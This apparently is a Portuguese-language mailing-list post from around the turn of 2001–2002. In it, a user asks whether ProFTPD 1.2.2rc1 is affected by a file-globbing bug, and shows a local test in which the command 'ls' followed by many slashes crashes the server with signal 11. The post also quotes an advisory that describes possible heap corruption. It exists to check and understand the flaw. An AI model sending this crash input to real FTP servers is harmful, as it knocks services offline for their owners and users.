Algu�m sabe se o proftpd 1.2.2rc1 (do CL7) tembem � vulneravel ao bug "File 
Globbing Problems (////.../)"  ?�?�?
Esse bug � grave ?

http://neworder.box.sk/showme.php3?id=5935
Nessa p�gina, diz que s� o 1.2.4 e o 1.2.2rc3 tem problemas

Resolv� fazer o teste, e ele termina com sinal 11:

[rafael@xxxx rafael]$ ftp 127.0.0.1
Connected to 127.0.0.1.
220 ProFTPD 1.2.2rc1 Server ready.
Name (127.0.0.1:rafael): ftp
331 Anonymous login ok, send your complete email address as your password.
Password:
230 Acesso an�nimo aceito para ftp. %T
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls /////////////
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
421 Service not available, remote server has closed connection
ftp> 

Dec 27 21:35:43 xxxx proftpd[11193]: xxx (localhost[127.0.0.1]) - ProFTPD 
terminating (signal 11) 
Dec 27 21:35:43 xxxx inetd[11181]: pid 11193: exit signal 11


Sobre o bug:

A problem in handling file globbing exists in the current version of ProFTPD 
1.2.4. This is very similar to the wu-ftpd bug ("ls ~{") and occurs when you 
issuing the command: ls /////////// (11 or more '/').

A segmentation fault occurs when the server tries to free a unallocated 
memory with a free()-function and it could be a heap corruption 
vulnerability. It is in the file lib/glibc-glob.c in function void globfree 
(pglob) the SEGV occurs.

tks.
...e feliz ano novo !!!

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